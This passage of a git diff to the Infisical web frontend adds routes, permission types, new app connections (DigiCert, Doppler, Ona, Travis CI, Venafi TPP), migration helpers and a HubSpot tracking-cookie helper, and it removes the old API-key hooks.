       "/_restrict-login-signup/login/select-organization"
     ),
-    ProviderSuccessPage: setRoute(
-      "/login/provider/success",
-      "/_restrict-login-signup/login/provider/success"
-    ),
     SignUpSsoPage: setRoute("/signup/sso", "/_restrict-login-signup/signup/sso"),
     AccountRecoveryResetPage: setRoute(
       "/account-recovery-reset",
@@ -111,6 +107,10 @@ export const ROUTE_PATHS = Object.freeze({
       "/organizations/$orgId/projects/secret-management/$projectId/settings",
       "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/settings"
     ),
+    InsightsPage: setRoute(
+      "/organizations/$orgId/projects/secret-management/$projectId/insights",
+      "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/insights"
+    ),
     IntegrationDetailsByIDPage: setRoute(
       "/organizations/$orgId/projects/secret-management/$projectId/integrations/$integrationId",
       "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/integrations/$integrationId"
@@ -378,8 +378,8 @@ export const ROUTE_PATHS = Object.freeze({
       "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/"
     ),
     ApprovalRequestDetailPage: setRoute(
-      "/organizations/$orgId/projects/pam/$projectId/approval-requests/$approvalRequestId",
-      "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId"
+      "/organizations/$orgId/projects/pam/$projectId/approvals/$approvalRequestId",
+      "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId"
     ),
     PamSessionByIDPage: setRoute(
       "/organizations/$orgId/projects/pam/$projectId/sessions/$sessionId",
diff --git a/frontend/src/context/OrgPermissionContext/types.ts b/frontend/src/context/OrgPermissionContext/types.ts
index 8700b817cac..a5862bd7e9c 100644
--- a/frontend/src/context/OrgPermissionContext/types.ts
+++ b/frontend/src/context/OrgPermissionContext/types.ts
@@ -29,6 +29,14 @@ export enum OrgGatewayPermissionActions {
   AttachGateways = "attach-gateways"
 }
 
+export enum OrgGatewayPoolPermissionActions {
+  CreateGatewayPools = "create-gateway-pools",
+  ListGatewayPools = "list-gateway-pools",
+  EditGatewayPools = "edit-gateway-pools",
+  DeleteGatewayPools = "delete-gateway-pools",
+  AttachGatewayPools = "attach-gateway-pools"
+}
+
 export enum OrgRelayPermissionActions {
   CreateRelays = "create-relays",
   ListRelays = "list-relays",
@@ -66,6 +74,7 @@ export enum OrgPermissionSubjects {
   AppConnections = "app-connections",
   Kmip = "kmip",
   Gateway = "gateway",
+  GatewayPool = "gateway-pool",
   Relay = "relay",
   SecretShare = "secret-share",
   GithubOrgSync = "github-org-sync",
@@ -168,6 +177,7 @@ export type OrgPermissionSet =
       OrgPermissionSubjects.MachineIdentityAuthTemplate
     ]
   | [OrgGatewayPermissionActions, OrgPermissionSubjects.Gateway]
+  | [OrgGatewayPoolPermissionActions, OrgPermissionSubjects.GatewayPool]
   | [OrgRelayPermissionActions, OrgPermissionSubjects.Relay]
   | [OrgPermissionSecretShareAction, OrgPermissionSubjects.SecretShare]
   | [
diff --git a/frontend/src/context/ProjectPermissionContext/index.tsx b/frontend/src/context/ProjectPermissionContext/index.tsx
index 9b46b386870..742ddd9726c 100644
--- a/frontend/src/context/ProjectPermissionContext/index.tsx
+++ b/frontend/src/context/ProjectPermissionContext/index.tsx
@@ -12,6 +12,7 @@ export {
   ProjectPermissionDynamicSecretActions,
   ProjectPermissionGroupActions,
   ProjectPermissionIdentityActions,
+  ProjectPermissionInsightsActions,
   ProjectPermissionKmipActions,
   ProjectPermissionMcpEndpointActions,
   ProjectPermissionMemberActions,
diff --git a/frontend/src/context/ProjectPermissionContext/types.ts b/frontend/src/context/ProjectPermissionContext/types.ts
index f7109018e3e..bb1f7a23c10 100644
--- a/frontend/src/context/ProjectPermissionContext/types.ts
+++ b/frontend/src/context/ProjectPermissionContext/types.ts
@@ -227,6 +227,10 @@ export enum ProjectPermissionAuditLogsActions {
   Read = "read"
 }
 
+export enum ProjectPermissionInsightsActions {
+  Read = "read"
+}
+
 export enum ProjectPermissionAppConnectionActions {
   Read = "read-app-connections",
   Create = "create-app-connections",
@@ -414,6 +418,7 @@ export enum ProjectPermissionSub {
   SshHostGroups = "ssh-host-groups",
   PkiAlerts = "pki-alerts",
   PkiCollections = "pki-collections",
+  CertificateInventoryViews = "certificate-inventory-views",
   PkiSubscribers = "pki-subscribers",
   CertificateProfiles = "certificate-profiles",
   CertificatePolicies = "certificate-policies",
@@ -433,6 +438,7 @@ export enum ProjectPermissionSub {
   AppConnections = "app-connections",
   PamFolders = "pam-folders",
   PamResources = "pam-resources",
+  PamDomains = "pam-domains",
   PamAccounts = "pam-accounts",
   PamSessions = "pam-sessions",
   PamAccountPolicies = "pam-account-policies",
@@ -441,7 +447,8 @@ export enum ProjectPermissionSub {
   McpServers = "mcp-servers",
   McpActivityLogs = "mcp-activity-logs",
   ApprovalRequests = "approval-requests",
-  ApprovalRequestGrants = "approval-request-grants"
+  ApprovalRequestGrants = "approval-request-grants",
+  Insights = "insights"
 }
 
 export type SecretSubjectFields = {
@@ -525,8 +532,10 @@ export type CertificatePolicySubjectFields = {
 };
 
 export type PamAccountSubjectFields = {
-  resourceName: string;
-  resourceType: string;
+  resourceName?: string;
+  resourceType?: string;
+  domainName?: string;
+  domainType?: string;
   accountName: string;
   metadata?: { key: string; value: string }[];
 };
@@ -672,6 +681,7 @@ export type ProjectPermissionSet =
     ]
   | [ProjectPermissionActions, ProjectPermissionSub.PkiAlerts]
   | [ProjectPermissionActions, ProjectPermissionSub.PkiCollections]
+  | [ProjectPermissionActions, ProjectPermissionSub.CertificateInventoryViews]
   | [ProjectPermissionPkiDiscoveryActions, ProjectPermissionSub.PkiDiscovery]
   | [
       ProjectPermissionPkiCertificateInstallationActions,
@@ -714,6 +724,7 @@ export type ProjectPermissionSet =
         | (ForcedSubject<ProjectPermissionSub.PamResources> & PamResourceSubjectFields)
       )
     ]
+  | [ProjectPermissionActions, ProjectPermissionSub.PamDomains]
   | [
       ProjectPermissionPamAccountActions,
       (
@@ -727,6 +738,7 @@ export type ProjectPermissionSet =
   | [ProjectPermissionApprovalRequestActions, ProjectPermissionSub.ApprovalRequests]
   | [ProjectPermissionApprovalRequestGrantActions, ProjectPermissionSub.ApprovalRequestGrants]
   | [ProjectPermissionSecretApprovalRequestActions, ProjectPermissionSub.SecretApprovalRequest]
+  | [ProjectPermissionInsightsActions, ProjectPermissionSub.Insights]
   | [
       ProjectPermissionMcpEndpointActions,
       (
diff --git a/frontend/src/context/index.tsx b/frontend/src/context/index.tsx
index 8a34bfceeac..12d6ef9d01f 100644
--- a/frontend/src/context/index.tsx
+++ b/frontend/src/context/index.tsx
@@ -25,6 +25,7 @@ export {
   ProjectPermissionDynamicSecretActions,
   ProjectPermissionGroupActions,
   ProjectPermissionIdentityActions,
+  ProjectPermissionInsightsActions,
   ProjectPermissionKmipActions,
   ProjectPermissionMcpEndpointActions,
   ProjectPermissionMemberActions,
diff --git a/frontend/src/helpers/appConnections.ts b/frontend/src/helpers/appConnections.ts
index c262252827b..4d5fdbc2ec2 100644
--- a/frontend/src/helpers/appConnections.ts
+++ b/frontend/src/helpers/appConnections.ts
@@ -55,8 +55,10 @@ import { BitbucketConnectionMethod } from "@app/hooks/api/appConnections/types/b
 import { ChecklyConnectionMethod } from "@app/hooks/api/appConnections/types/checkly-connection";
 import { ChefConnectionMethod } from "@app/hooks/api/appConnections/types/chef-connection";
 import { CircleCIConnectionMethod } from "@app/hooks/api/appConnections/types/circleci-connection";
+import { DigiCertConnectionMethod } from "@app/hooks/api/appConnections/types/digicert-connection";
 import { DigitalOceanConnectionMethod } from "@app/hooks/api/appConnections/types/digital-ocean";
 import { DNSMadeEasyConnectionMethod } from "@app/hooks/api/appConnections/types/dns-made-easy-connection";
+import { DopplerConnectionMethod } from "@app/hooks/api/appConnections/types/doppler-connection";
 import { ExternalInfisicalConnectionMethod } from "@app/hooks/api/appConnections/types/external-infisical-connection";
 import { HerokuConnectionMethod } from "@app/hooks/api/appConnections/types/heroku-connection";
 import { LaravelForgeConnectionMethod } from "@app/hooks/api/appConnections/types/laravel-forge-connection";
@@ -64,13 +66,16 @@ import { NetlifyConnectionMethod } from "@app/hooks/api/appConnections/types/net
 import { NetScalerConnectionMethod } from "@app/hooks/api/appConnections/types/netscaler-connection";
 import { NorthflankConnectionMethod } from "@app/hooks/api/appConnections/types/northflank-connection";
 import { OCIConnectionMethod } from "@app/hooks/api/appConnections/types/oci-connection";
+import { OnaConnectionMethod } from "@app/hooks/api/appConnections/types/ona-connection";
 import { OpenRouterConnectionMethod } from "@app/hooks/api/appConnections/types/open-router-connection";
 import { RailwayConnectionMethod } from "@app/hooks/api/appConnections/types/railway-connection";
 import { RenderConnectionMethod } from "@app/hooks/api/appConnections/types/render-connection";
 import { SmbConnectionMethod } from "@app/hooks/api/appConnections/types/smb-connection";
 import { SshConnectionMethod } from "@app/hooks/api/appConnections/types/ssh-connection";
 import { SupabaseConnectionMethod } from "@app/hooks/api/appConnections/types/supabase-connection";
+import { TravisCIConnectionMethod } from "@app/hooks/api/appConnections/types/travis-ci-connection";
 import { VenafiConnectionMethod } from "@app/hooks/api/appConnections/types/venafi-connection";
+import { VenafiTppConnectionMethod } from "@app/hooks/api/appConnections/types/venafi-tpp-connection";
 
 export const APP_CONNECTION_MAP: Record<
   AppConnection,
@@ -80,6 +85,7 @@ export const APP_CONNECTION_MAP: Record<
     size?: number;
     icon?: IconDefinition;
     enterprise?: boolean;
+    aliases?: string[];
   }
 > = {
   [AppConnection.AWS]: { name: "AWS", image: "Amazon Web Services.png" },
@@ -158,9 +164,14 @@ export const APP_CONNECTION_MAP: Record<
   [AppConnection.CircleCI]: { name: "CircleCI", image: "CircleCI.png" },
   [AppConnection.AzureEntraId]: { name: "Azure Entra ID", image: "Microsoft Azure.png" },
   [AppConnection.Venafi]: { name: "Venafi TLS Protect Cloud", image: "Venafi.png" },
+  [AppConnection.VenafiTpp]: { name: "Venafi TPP", image: "Venafi.png" },
   [AppConnection.ExternalInfisical]: { name: "Infisical", image: "Infisical.png" },
+  [AppConnection.Doppler]: { name: "Doppler", image: "Doppler.png" },
   [AppConnection.NetScaler]: { name: "NetScaler", image: "NetScaler.png" },
-  [AppConnection.Anthropic]: { name: "Anthropic", image: "Anthropic.png" }
+  [AppConnection.Anthropic]: { name: "Anthropic", image: "Anthropic.png" },
+  [AppConnection.Ona]: { name: "Ona", image: "Ona.png", aliases: ["gitpod"] },
+  [AppConnection.DigiCert]: { name: "DigiCert", image: "DigiCert.png" },
+  [AppConnection.TravisCI]: { name: "Travis CI", image: "Travis CI.png" }
 };
 
 export const getAppConnectionMethodDetails = (method: TAppConnection["method"]) => {
@@ -169,6 +180,7 @@ export const getAppConnectionMethodDetails = (method: TAppConnection["method"])
     case GitHubRadarConnectionMethod.App:
       return { name: "GitHub App", icon: faGithub };
     case GitHubConnectionMethod.Pat:
+    case OnaConnectionMethod.PersonalAccessToken:
       return { name: "Personal Access Token", icon: faKey };
     case AzureKeyVaultConnectionMethod.OAuth:
     case AzureAppConfigurationConnectionMethod.OAuth:
@@ -177,6 +189,7 @@ export const getAppConnectionMethodDetails = (method: TAppConnection["method"])
     case GitHubConnectionMethod.OAuth:
     case HerokuConnectionMethod.OAuth:
     case GitLabConnectionMethod.OAuth:
+    case VenafiTppConnectionMethod.OAuth:
       return { name: "OAuth", icon: faPassport };
     case AwsConnectionMethod.AccessKey:
     case OCIConnectionMethod.AccessKey:
@@ -202,6 +215,8 @@ export const getAppConnectionMethodDetails = (method: TAppConnection["method"])
     case LaravelForgeConnectionMethod.ApiToken:
     case DbtConnectionMethod.ApiToken:
     case CircleCIConnectionMethod.ApiToken:
+    case TravisCIConnectionMethod.ApiToken:
+    case DopplerConnectionMethod.ApiToken:
       return { name: "API Token", icon: faKey };
     case VenafiConnectionMethod.ApiKey:
       return { name: "API Key", icon: faKey };
@@ -239,6 +254,7 @@ export const getAppConnectionMethodDetails = (method: TAppConnection["method"])
     case ChecklyConnectionMethod.ApiKey:
     case OpenRouterConnectionMethod.ApiKey:
     case AnthropicConnectionMethod.ApiKey:
+    case DigiCertConnectionMethod.ApiKey:
       return { name: "API Key", icon: faKey };
     case ChefConnectionMethod.UserKey:
       return { name: "User Key", icon: faKey };
diff --git a/frontend/src/helpers/externalMigrationInPlatform.ts b/frontend/src/helpers/externalMigrationInPlatform.ts
new file mode 100644
index 00000000000..d301c28fc4b
--- /dev/null
+++ b/frontend/src/helpers/externalMigrationInPlatform.ts
@@ -0,0 +1,37 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+
+import { APP_CONNECTION_MAP } from "./appConnections";
+
+/** App connection types that support org-level in-platform migration configuration. */
+export const IN_PLATFORM_MIGRATION_APP_CONNECTIONS = [
+  AppConnection.HCVault,
+  AppConnection.Doppler
+] as const;
+
+export type TInPlatformMigrationApp = (typeof IN_PLATFORM_MIGRATION_APP_CONNECTIONS)[number];
+
+export const IN_PLATFORM_MIGRATION_PROVIDER_DETAILS: Record<
+  TInPlatformMigrationApp,
+  { description: string }
+> = {
+  [AppConnection.HCVault]: {
+    description:
+      "Policy imports, auth methods, secret engine migrations, and importing secrets from Vault in the UI."
+  },
+  [AppConnection.Doppler]: {
+    description: "Import secrets from Doppler into Infisical projects from the UI."
+  }
+};
+
+export function getInPlatformMigrationProviderMeta(app: TInPlatformMigrationApp) {
+  const meta = APP_CONNECTION_MAP[app];
+  const defaultSize = meta.size ?? 50;
+  // Doppler mark fills more of its asset bounds than Vault; use a smaller px width so it matches visually.
+  const size = app === AppConnection.Doppler ? 36 : defaultSize;
+
+  return {
+    name: meta.name,
+    imageFileName: meta.image,
+    size
+  };
+}
diff --git a/frontend/src/helpers/project.ts b/frontend/src/helpers/project.ts
index 649458a6e55..3cbd87ced2c 100644
--- a/frontend/src/helpers/project.ts
+++ b/frontend/src/helpers/project.ts
@@ -74,7 +74,7 @@ export const getProjectHomePage = (type: ProjectType, environments: ProjectEnv[]
     case ProjectType.SecretManager:
       return "/organizations/$orgId/projects/secret-management/$projectId/overview" as const;
     case ProjectType.CertificateManager:
-      return "/organizations/$orgId/projects/cert-manager/$projectId/policies" as const;
+      return "/organizations/$orgId/projects/cert-manager/$projectId/overview" as const;
     case ProjectType.SecretScanning:
       return `/organizations/$orgId/projects/${type}/$projectId/data-sources` as const;
     case ProjectType.PAM:
diff --git a/frontend/src/helpers/roles.ts b/frontend/src/helpers/roles.ts
index 8d7f5e81cef..56872d04a35 100644
--- a/frontend/src/helpers/roles.ts
+++ b/frontend/src/helpers/roles.ts
@@ -22,7 +22,7 @@ export const formatProjectRoleName = (role: string, customRoleName?: string) =>
     case ProjectMembershipRole.Admin:
       return "Admin";
     case ProjectMembershipRole.Member:
-      return "Developer";
+      return "Member";
     case ProjectMembershipRole.Viewer:
       return "Viewer";
     case ProjectMembershipRole.NoAccess:
diff --git a/frontend/src/helpers/secretRotationsV2.ts b/frontend/src/helpers/secretRotationsV2.ts
index cdda10b1fd7..55afff89bb6 100644
--- a/frontend/src/helpers/secretRotationsV2.ts
+++ b/frontend/src/helpers/secretRotationsV2.ts
@@ -89,6 +89,11 @@ export const SECRET_ROTATION_MAP: Record<
     name: "HP iLO Local Account",
     image: "SSH.png",
     size: 50
+  },
+  [SecretRotation.SupabaseApiKey]: {
+    name: "Supabase API Key",
+    image: "Supabase.png",
+    size: 50
   }
 };
 
@@ -109,7 +114,8 @@ export const SECRET_ROTATION_CONNECTION_MAP: Record<SecretRotation, AppConnectio
   [SecretRotation.DbtServiceToken]: AppConnection.Dbt,
   [SecretRotation.WindowsLocalAccount]: AppConnection.SMB,
   [SecretRotation.OpenRouterApiKey]: AppConnection.OpenRouter,
-  [SecretRotation.HpIloLocalAccount]: AppConnection.SSH
+  [SecretRotation.HpIloLocalAccount]: AppConnection.SSH,
+  [SecretRotation.SupabaseApiKey]: AppConnection.Supabase
 };
 
 // if a rotation can potentially have downtime due to rotating a single credential set this to false
@@ -130,7 +136,8 @@ export const IS_ROTATION_DUAL_CREDENTIALS: Record<SecretRotation, boolean> = {
   [SecretRotation.DbtServiceToken]: true,
   [SecretRotation.WindowsLocalAccount]: false,
   [SecretRotation.OpenRouterApiKey]: true,
-  [SecretRotation.HpIloLocalAccount]: false
+  [SecretRotation.HpIloLocalAccount]: false,
+  [SecretRotation.SupabaseApiKey]: true
 };
 
 export const getRotateAtLocal = ({ hours, minutes }: TSecretRotationV2["rotateAtUtc"]) => {
diff --git a/frontend/src/helpers/secretSyncs.ts b/frontend/src/helpers/secretSyncs.ts
index 4357a8a3ecd..2b6be005afc 100644
--- a/frontend/src/helpers/secretSyncs.ts
+++ b/frontend/src/helpers/secretSyncs.ts
@@ -8,7 +8,10 @@ import { GcpSyncScope } from "@app/hooks/api/secretSyncs/types/gcp-sync";
 import { HumanitecSyncScope } from "@app/hooks/api/secretSyncs/types/humanitec-sync";
 import { RenderSyncScope } from "@app/hooks/api/secretSyncs/types/render-sync";
 
-export const SECRET_SYNC_MAP: Record<SecretSync, { name: string; image: string }> = {
+export const SECRET_SYNC_MAP: Record<
+  SecretSync,
+  { name: string; image: string; aliases?: string[] }
+> = {
   [SecretSync.AWSParameterStore]: { name: "AWS Parameter Store", image: "Amazon Web Services.png" },
   [SecretSync.AWSSecretsManager]: { name: "AWS Secrets Manager", image: "Amazon Web Services.png" },
   [SecretSync.GitHub]: { name: "GitHub", image: "GitHub.png" },
@@ -141,6 +144,15 @@ export const SECRET_SYNC_MAP: Record<SecretSync, { name: string; image: string }
   [SecretSync.ExternalInfisical]: {
     name: "Infisical",
     image: "Infisical.png"
+  },
+  [SecretSync.Ona]: {
+    name: "Ona",
+    image: "Ona.png",
+    aliases: ["gitpod"]
+  },
+  [SecretSync.TravisCI]: {
+    name: "Travis CI",
+    image: "Travis CI.png"
   }
 };
 
@@ -181,7 +193,9 @@ export const SECRET_SYNC_CONNECTION_MAP: Record<SecretSync, AppConnection> = {
   [SecretSync.OctopusDeploy]: AppConnection.OctopusDeploy,
   [SecretSync.CircleCI]: AppConnection.CircleCI,
   [SecretSync.AzureEntraIdScim]: AppConnection.AzureEntraId,
-  [SecretSync.ExternalInfisical]: AppConnection.ExternalInfisical
+  [SecretSync.ExternalInfisical]: AppConnection.ExternalInfisical,
+  [SecretSync.Ona]: AppConnection.Ona,
+  [SecretSync.TravisCI]: AppConnection.TravisCI
 };
 
 export const SECRET_SYNC_INITIAL_SYNC_BEHAVIOR_MAP: Record<
diff --git a/frontend/src/helpers/utmTracking.ts b/frontend/src/helpers/utmTracking.ts
new file mode 100644
index 00000000000..73ffc46783b
--- /dev/null
+++ b/frontend/src/helpers/utmTracking.ts
@@ -0,0 +1,23 @@
+const HUBSPOT_UTK_STORAGE_KEY = "infisical__hubspot-utk";
+
+/**
+ * Reads the HubSpot tracking cookie (hubspotutk) if present,
+ * falling back to localStorage for cases where cookies may have
+ * been cleared during OAuth redirects (e.g. Safari ITP).
+ */
+export const getHubSpotUtk = (): string | undefined => {
+  const match = document.cookie.match(/(?:^|;\s*)hubspotutk=([^;]*)/);
+  return match?.[1] || localStorage.getItem(HUBSPOT_UTK_STORAGE_KEY) || undefined;
+};
+
+/**
+ * Persists the current hubspotutk cookie value to localStorage
+ * so it survives OAuth redirects that may clear cookies.
+ * Call this before navigating away for OAuth.
+ */
+export const preserveHubSpotUtk = (): void => {
+  const match = document.cookie.match(/(?:^|;\s*)hubspotutk=([^;]*)/);
+  if (match?.[1]) {
+    localStorage.setItem(HUBSPOT_UTK_STORAGE_KEY, match[1]);
+  }
+};
diff --git a/frontend/src/hooks/api/accessApproval/mutation.tsx b/frontend/src/hooks/api/accessApproval/mutation.tsx
index d8270d724ce..5015cbdef96 100644
--- a/frontend/src/hooks/api/accessApproval/mutation.tsx
+++ b/frontend/src/hooks/api/accessApproval/mutation.tsx
@@ -136,6 +136,9 @@ export const useCreateAccessRequest = () => {
       queryClient.invalidateQueries({
         queryKey: accessApprovalKeys.getAccessApprovalRequestCount(projectSlug)
       });
+      queryClient.invalidateQueries({
+        queryKey: accessApprovalKeys.getAccessApprovalRequestsAllForProject(projectSlug)
+      });
     }
   });
 };
@@ -153,7 +156,7 @@ export const useUpdateAccessRequest = () => {
     },
     onSuccess: (_, { projectSlug }) => {
       queryClient.invalidateQueries({
-        queryKey: accessApprovalKeys.getAccessApprovalRequests(projectSlug)
+        queryKey: accessApprovalKeys.getAccessApprovalRequestsAllForProject(projectSlug)
       });
     }
   });
@@ -177,7 +180,7 @@ export const useRevokeAccessRequest = () => {
     },
     onSuccess: (_, { projectSlug }) => {
       queryClient.invalidateQueries({
-        queryKey: accessApprovalKeys.getAccessApprovalRequests(projectSlug)
+        queryKey: accessApprovalKeys.getAccessApprovalRequestsAllForProject(projectSlug)
       });
       queryClient.invalidateQueries({
         queryKey: accessApprovalKeys.getAccessApprovalRequestCount(projectSlug)
@@ -195,8 +198,6 @@ export const useReviewAccessRequest = () => {
       requestId: string;
       status: "approved" | "rejected";
       projectSlug: string;
-      envSlug?: string;
-      requestedBy?: string;
       bypassReason?: string;
     }
   >({
@@ -210,14 +211,9 @@ export const useReviewAccessRequest = () => {
       );
       return data;
     },
-    onSuccess: (_, { projectSlug, envSlug, requestedBy, bypassReason }) => {
+    onSuccess: (_, { projectSlug }) => {
       queryClient.invalidateQueries({
-        queryKey: accessApprovalKeys.getAccessApprovalRequests(
-          projectSlug,
-          envSlug,
-          requestedBy,
-          bypassReason
-        )
+        queryKey: accessApprovalKeys.getAccessApprovalRequestsAllForProject(projectSlug)
       });
       queryClient.invalidateQueries({
         queryKey: accessApprovalKeys.getAccessApprovalRequestCount(projectSlug)
diff --git a/frontend/src/hooks/api/accessApproval/queries.tsx b/frontend/src/hooks/api/accessApproval/queries.tsx
index 2be6c9535fb..d577994c8ec 100644
--- a/frontend/src/hooks/api/accessApproval/queries.tsx
+++ b/frontend/src/hooks/api/accessApproval/queries.tsx
@@ -25,6 +25,8 @@ export const accessApprovalKeys = {
     requestedBy?: string,
     bypassReason?: string
   ) => ["access-approvals-requests", projectSlug, envSlug, requestedBy, bypassReason] as const,
+  getAccessApprovalRequestsAllForProject: (projectSlug: string) =>
+    ["access-approvals-requests", projectSlug] as const,
   getAccessApprovalRequestCount: (projectSlug: string, policyId?: string) =>
     [{ projectSlug }, "access-approval-request-count", ...(policyId ? [policyId] : [])] as const
 };
@@ -104,7 +106,8 @@ export const useGetAccessRequestsCount = ({
     queryKey: accessApprovalKeys.getAccessApprovalRequestCount(projectSlug, policyId),
     queryFn: () => fetchAccessRequestsCount(projectSlug, policyId),
     ...options,
-    enabled: Boolean(projectSlug) && (options?.enabled ?? true)
+    enabled: Boolean(projectSlug) && (options?.enabled ?? true),
+    refetchInterval: options?.refetchInterval ?? 30_000
   });
 
 export const useGetAccessApprovalPolicies = ({
@@ -131,5 +134,6 @@ export const useGetAccessApprovalRequests = ({
     queryFn: () => fetchApprovalRequests({ projectSlug, envSlug, authorUserId }),
     ...options,
     enabled: Boolean(projectSlug) && (options?.enabled ?? true),
-    placeholderData: (previousData) => previousData
+    placeholderData: (previousData) => previousData,
+    refetchInterval: options?.refetchInterval ?? 30_000
   });
diff --git a/frontend/src/hooks/api/admin/queries.ts b/frontend/src/hooks/api/admin/queries.ts
index 48d455acb7e..8f6e7083728 100644
--- a/frontend/src/hooks/api/admin/queries.ts
+++ b/frontend/src/hooks/api/admin/queries.ts
@@ -158,7 +158,7 @@ export const useGetInvalidatingCacheStatus = (enabled = true) => {
       return data.invalidating;
     },
     enabled,
-    refetchInterval: (data) => (data ? 3000 : false)
+    refetchInterval: (query) => (query.state.data ? 10_000 : false)
   });
 };
 
diff --git a/frontend/src/hooks/api/apiKeys/index.ts b/frontend/src/hooks/api/apiKeys/index.ts
deleted file mode 100644
index 58c3717ab45..00000000000
--- a/frontend/src/hooks/api/apiKeys/index.ts
+++ /dev/null
@@ -1 +0,0 @@
-export { useCreateAPIKeyV2, useDeleteAPIKeyV2, useUpdateAPIKeyV2 } from "./queries";
diff --git a/frontend/src/hooks/api/apiKeys/queries.tsx b/frontend/src/hooks/api/apiKeys/queries.tsx
deleted file mode 100644
index 22997ec15b9..00000000000
--- a/frontend/src/hooks/api/apiKeys/queries.tsx
+++ /dev/null
@@ -1,60 +0,0 @@
-import { useMutation, useQueryClient } from "@tanstack/react-query";
-
-import { apiRequest } from "@app/config/request";
-
-import { userKeys } from "../users";
-import {
-  APIKeyDataV2,
-  CreateAPIKeyDataV2DTO,
-  CreateServiceTokenDataV3Res,
-  DeleteAPIKeyDataV2DTO,
-  UpdateAPIKeyDataV2DTO
-} from "./types";
-
-export const useCreateAPIKeyV2 = () => {
-  const queryClient = useQueryClient();
-  return useMutation<CreateServiceTokenDataV3Res, object, CreateAPIKeyDataV2DTO>({
-    mutationFn: async ({ name }) => {
-      const { data } = await apiRequest.post("/api/v3/api-key", {
-        name
-      });
-
-      return data;
-    },
-    onSuccess: () => {
-      queryClient.invalidateQueries({ queryKey: userKeys.myAPIKeysV2 });
-    }
-  });
-};
-
-export const useUpdateAPIKeyV2 = () => {
-  const queryClient = useQueryClient();
-  return useMutation<APIKeyDataV2, object, UpdateAPIKeyDataV2DTO>({
-    mutationFn: async ({ apiKeyDataId, name }) => {
-      const {
-        data: { apiKeyData }
-      } = await apiRequest.patch(`/api/v3/api-key/${apiKeyDataId}`, {
-        name
-      });
-      return apiKeyData;
-    },
-    onSuccess: () => {
-      queryClient.invalidateQueries({ queryKey: userKeys.myAPIKeysV2 });
-    }
-  });
-};
-
-export const useDeleteAPIKeyV2 = () => {
-  const queryClient = useQueryClient();
-  return useMutation<APIKeyDataV2, object, DeleteAPIKeyDataV2DTO>({
-    mutationFn: async ({ apiKeyDataId }) => {
-      const {
-        data: { apiKeyData }
-      } = await apiRequest.delete(`/api/v3/api-key/${apiKeyDataId}`);
-      return apiKeyData;
-    },
-    onSuccess: () => {
-      queryClient.invalidateQueries({ queryKey: userKeys.myAPIKeysV2 });
-    }
-  });
-};
diff --git a/frontend/src/hooks/api/apiKeys/types.ts b/frontend/src/hooks/api/apiKeys/types.ts
deleted file mode 100644
index b05bd5981ec..00000000000
--- a/frontend/src/hooks/api/apiKeys/types.ts
+++ /dev/null
@@ -1,27 +0,0 @@
-export type APIKeyDataV2 = {
-  id: string;
-  name: string;
-  user: string;
-  lastUsed?: string;
-  usageCount: number;
-  createdAt: string;
-  updatedAt: string;
-};
-
-export type CreateAPIKeyDataV2DTO = {
-  name: string;
-};
-
-export type CreateServiceTokenDataV3Res = {
-  apiKeyData: APIKeyDataV2;
-  apiKey: string;
-};
-
-export type UpdateAPIKeyDataV2DTO = {
-  apiKeyDataId: string;
-  name: string;
-};
-
-export type DeleteAPIKeyDataV2DTO = {
-  apiKeyDataId: string;
-};
diff --git a/frontend/src/hooks/api/appConnections/digicert/index.ts b/frontend/src/hooks/api/appConnections/digicert/index.ts
new file mode 100644
index 00000000000..2c1906d3698
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/digicert/index.ts
@@ -0,0 +1,2 @@
+export * from "./queries";
+export * from "./types";
diff --git a/frontend/src/hooks/api/appConnections/digicert/queries.tsx b/frontend/src/hooks/api/appConnections/digicert/queries.tsx
new file mode 100644
index 00000000000..dbd4c144114
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/digicert/queries.tsx
@@ -0,0 +1,62 @@
+import { useQuery, UseQueryOptions } from "@tanstack/react-query";
+
+import { apiRequest } from "@app/config/request";
+
+import { appConnectionKeys } from "../queries";
+import { TDigiCertOrganization, TDigiCertProduct } from "./types";
+
+const digicertConnectionKeys = {
+  all: [...appConnectionKeys.all, "digicert"] as const,
+  listOrganizations: (connectionId: string) =>
+    [...digicertConnectionKeys.all, "organizations", connectionId] as const,
+  listProducts: (connectionId: string) =>
+    [...digicertConnectionKeys.all, "products", connectionId] as const
+};
+
+export const useDigiCertConnectionListOrganizations = (
+  connectionId: string,
+  options?: Omit<
+    UseQueryOptions<
+      TDigiCertOrganization[],
+      unknown,
+      TDigiCertOrganization[],
+      ReturnType<typeof digicertConnectionKeys.listOrganizations>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: digicertConnectionKeys.listOrganizations(connectionId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TDigiCertOrganization[]>(
+        `/api/v1/app-connections/digicert/${connectionId}/organizations`
+      );
+      return data;
+    },
+    ...options
+  });
+};
+
+export const useDigiCertConnectionListProducts = (
+  connectionId: string,
+  options?: Omit<
+    UseQueryOptions<
+      TDigiCertProduct[],
+      unknown,
+      TDigiCertProduct[],
+      ReturnType<typeof digicertConnectionKeys.listProducts>
+    >,
+    "queryKey" | "queryFn"
+  >
+) => {
+  return useQuery({
+    queryKey: digicertConnectionKeys.listProducts(connectionId),
+    queryFn: async () => {
+      const { data } = await apiRequest.get<TDigiCertProduct[]>(
+        `/api/v1/app-connections/digicert/${connectionId}/products`
+      );
+      return data;
+    },
+    ...options
+  });
+};
diff --git a/frontend/src/hooks/api/appConnections/digicert/types.ts b/frontend/src/hooks/api/appConnections/digicert/types.ts
new file mode 100644
index 00000000000..596a95337e9
--- /dev/null
+++ b/frontend/src/hooks/api/appConnections/digicert/types.ts
@@ -0,0 +1,13 @@
+export type TDigiCertOrganization = {
+  id: number;
+  name: string;
+  displayName?: string;
+  status?: string;
+};
+
+export type TDigiCertProduct = {
+  nameId: string;
+  name: string;
+  type?: string;
+  validationType?: string;
+};
